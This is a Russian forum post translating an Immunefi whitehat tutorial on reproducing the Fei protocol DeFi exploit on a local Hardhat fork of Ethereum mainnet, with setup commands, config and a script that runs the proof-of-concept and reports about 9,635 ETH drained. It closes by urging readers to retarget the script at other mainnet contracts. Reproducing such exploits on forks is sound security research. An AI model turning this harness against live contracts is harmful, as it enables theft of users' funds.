Перейти к публикации

Безопасность и эксплойты в DeFi - Перевод поста


Рекомендованные сообщения

Доброго времени суток, дорогие читатели! 

Сегодня я бы хотел рассказать про возможности для DeFi-пентестера. 
 

Это руководство, написанное белым хакером Lucash-dev для Immunefi, поможет вам настроить и воспроизвести эксплойт протокола Fei, а также - научиться чему-то новому! 

К концу этого руководства вы сможете:
 

  • Создать простой проект HardHat
  • Скомпилировать код смарт-контракта PoC
  • Создать локальный форк сети Ethereum mainnet
  • Запустить скрипт, который развернет и выполнит контракт PoC.


И этот пост должен научить вас:
 

  • Как тестировать собственные эксплойты против основной сети
  • Что взлом контрактов Ethereum не так уж сложен.


Прежде чем приступить к работе, давайте убедимся, что в вашей системе установлено следующее:
 

  • node.js
  • npm
  • yarn


Установить их в Ubuntu очень просто:
 

sudo apt update
sudo apt install nodejs npm
sudo npm install --global yarn


HardHat - Фреймворк

HardHat - это фреймворк для разработки, тестирования и развертывания смарт-контрактов Ethereum. Он облегчит нам жизнь, позволяя легко запускать локальный форк сети Ethereum, чтобы не проводить тесты на реальном мейннете (дорого и опасно!). Он также предоставляет библиотеки и утилиты для автоматизации скриптов, выполняющих все задачи для наших тестов.

Чтобы создать пустой проект HardHat:

 

mkdir fei-poc
cd fei-poc
yarn add hardhat
npx hardhat init


Если HardHat предложит вам ответить, вы должны выбрать "create a sample project", а затем ответить "yes" на все остальные вопросы.
Вы должны увидеть файл hardhat.config.js, который выглядит следующим образом:

 

require("@nomiclabs/hardhat-waffle");
task("accounts", "...", async () => {
    ...
});
module.exports = {
  solidity: "0.7.3",
};


Вы также должны увидеть файл contracts/Greeter.sol и scripts/sample-scripts.js. Это образец смарт-контракта и образец скрипта. Чтобы проверить, все ли работает как надо, вы можете запустить:

 

npx hardhat run scripts/sample-script.js


 

В консоли должно появиться сообщение типа Greeter deployed to: 0x...

Что только что сделала команда выше:
 

  • Скомпилировала образец контракта
  • Запустила локальный узел сети Ethereum (пустой).
  • Развернула образец контракта на нем.


Если на этом этапе вы видите какие-либо сообщения об ошибках, скорее всего, что-то не так, и вам следует устранить неполадки.

Компиляция кода PoC.

Теперь, когда у нас есть проект HardHat, давайте скопируем в него код эксплойта PoC, чтобы его можно было скомпилировать и развернуть локально.
Сначала возьмите два файла для эксплойта и скопируйте их в каталог contracts вашего проекта.
 


Теперь компиляция должна быть такой же простой, как и запуск:
 

npx hardhat compile


Вот только это пока не сработает! Если вы попробуете выполнить приведенную выше команду, то все, что вы увидите, это сообщение об ошибке - импортированный файл не найден. Причина в том, что нам не хватает кода для интерфейсов контрактов, с которыми взаимодействует код PoC.

Наша жизнь была бы намного проще, если бы хакер, создавший PoC, предоставил полный проект, который мы могли бы просто собрать локально, но он этого не сделал. Когда вы взламываете развернутые контракты, такое часто случается.

Для PoC Fei большинство интерфейсов можно легко найти в ГитХабе Fei, но так будет не всегда. 

В крайнем случае, вы всегда можете поискать код контракта в Etherscan, если вы знаете адрес контракта. Иногда там есть готовый код интерфейса. В других случаях можно найти хотя бы ABI. Один простой трюк для получения интерфейсов, даже если у вас нет исходного кода контрактов, заключается в том, чтобы найти ABI для контракта в Etherscan и затем использовать инструмент для создания кода интерфейса Solidity для него. Хотя этот трюк хорош, он не всегда работает. Например, у инструмента возникают проблемы со сложными типами (struct).

Однако для данного контракта PoC вы должны быть в состоянии легко найти все интерфейсы между кодовой базой Fei и следующими ресурсами:
 


Добавьте каждый из них в свой собственный файл ".sol", сопоставив имена файлов в утверждениях "import" в коде PoC.
Как только вы это сделаете, компиляция должна заработать:

 

npx hardhat compile


Форкаем мейннет

Для тестирования кода PoC мы создадим локальный форк сети Ethereum mainnet. 

Это очень мощный инструмент, который HardHat (ну, на самом деле ganache за кулисами) использует для тестирования. Мы можем в точности имитировать то, что произойдет при реальной атаке, не затрагивая реальное состояние сети и не тратя огромные деньги на оплату транзакций.

Это также позволит нам имитировать блокчейн в любой момент прошлого, поскольку мы можем выбрать номер блока для начала форка, и позволит нам выдать себя за любую учетную запись для тестирования (имитируя атаки привилегированных пользователей, например, или китов).

Для этого вам нужно будет зарегистрировать аккаунт в Alchemy (есть и другие способы сделать это без их услуг, но они непрактичны). Перед форком блокчейна вам необходимо зарегистрироваться для использования API Alchemy по адресу: https://auth.alchemyapi.io/signup.

Бесплатного аккаунта, вероятно, будет достаточно для всех ваших нужд. Как только вы завершите регистрацию, вам нужно будет добавить "приложение" в свою панель управления. Вы можете назвать его "test". После создания приложения вы сможете найти URL API с вашим секретным ключом.

Он должен выглядеть следующим образом:

 

https://eth-mainnet.alchemyapi.io/v2/k1asdfa2fasdfa-asdf_asdf


Теперь, когда у вас есть URL Alchemy API, добавьте конфигурацию для форка mainnet в файл hardhat.config.js (в корневой каталог проекта).

 

module.exports = {
  defaultNetwork: 'hardhat',
  networks: {
    hardhat: {
      forking: {
        // Replace with your actual API URL
        url: "https://eth-mainnet.alchemyapi.io/v2/k1asdfa2fasdfa-asdf_asdf"
      }
    }
  },
  
  solidity: "0.7.3"
 }



Вы можете запустить пример скрипта в своем локальном форке. 

 

npx hardhat run scripts/sample-script.js


Чтобы повторить атаку на Fei, вы можете использовать приведенный ниже скрипт:

 

const hre = require("hardhat");
async function main() {
  
  // We reset the local chain to a fork of mainnet
  // so that the state is always pristine.
  await hre.network.provider.request({
  method: "hardhat_reset",
  params: [{
    forking: {
      // Replace with your actual API URL
      jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/asdfasdfasdfasdf"
      //,blockNumbeR: 12500000 // after fix
      ,blockNumber: 12350000 // before fix
      }
    }]
  })
  // We'll use this contract to check the WETH balance of the 
  // PoC contract.
  const WETH = await hre.ethers.getContractAt("IERC20",'0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2');
  // Deploy the PoC contract.
  const Exploit = await hre.ethers.getContractFactory("Exploit");
  const exploit = await Exploit.deploy();
  console.log("Exploit deployed to:", exploit.address);
  // Let's run the exploit PoC!
  const balance0 = await WETH.balanceOf(exploit.address);
  console.log("Balance before exploit",balance0/1e18,"ETH");
  console.log("starting exploit");
  // I had a bit of trouble finding the optimal values using the
  // the Python script, values didn't seem to work.
  // Found these parameters by trial and error.
  d = "207569000000000000000000"
  b = "092430000000000000000000"
  await exploit.start(d, b);
  const balance1 = await WETH.balanceOf(exploit.address);
  console.log("If the balance is positive the exploit worked!");
  console.log("Balance after exploit",balance1/1e18,"ETH");
}
main()
  .then(() => process.exit(0))
  .catch(error => {
    console.error(error);
    process.exit(1);
  });


 

Если следовать комментариям, должно быть понятно, что делает каждая команда. Самая важная деталь, на которую следует обратить внимание, заключается в том, что мы будем использовать форк mainnet на определенном блоке до того, как уязвимость была исправлена.

Сохраните его как fei.js и запустите с помощью команды:

 
npx hardhat run scripts/fei.js


Вы должны увидеть несколько отладочных сообщений и что-то вроде этого в конце вывода:

 

If the balance is positive the exploit worked!
Balance after exploit 9635.065665081976 ETH


🎇 Мои поздравления! 

Но мы еще не закончили на 100%. Что если кто-то действительно осуществит эту атаку в реальном мире? Мы можем проверить, что проблема была устранена, попытавшись воспроизвести атаку, но используя форк основной сети в блоке после устранения уязвимости.

 

// We reset the local chain to a fork of mainnet
  // so that the state is always pristine.
  await hre.network.provider.request({
  method: "hardhat_reset",
  params: [{
    forking: {
      // Replace with your actual API URL
      jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/asdfasdfasdfasdf"
      blockNumbeR: 12500000 // after fix
      //,blockNumber: 12350000 // before fix
      }
    }]
  })


Теперь вам следует попробовать изменить тестовый скрипт и PoC-контракт, указав на другие контракты мейннета, возможно, в других проектах, и понаблюдать за результатами...

Рекомендуется к прочтению:


Flash Crash for Cash: Cyber Threats in Decentralized Finance by Kris Oosthoek  
image.thumb.png.4a22b50ce9d497fcdf9f9c15c8c59ac2.png

 

Инструменты:
 

Изменено пользователем Officer_CIA
Typos fix
Ссылка на комментарий

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...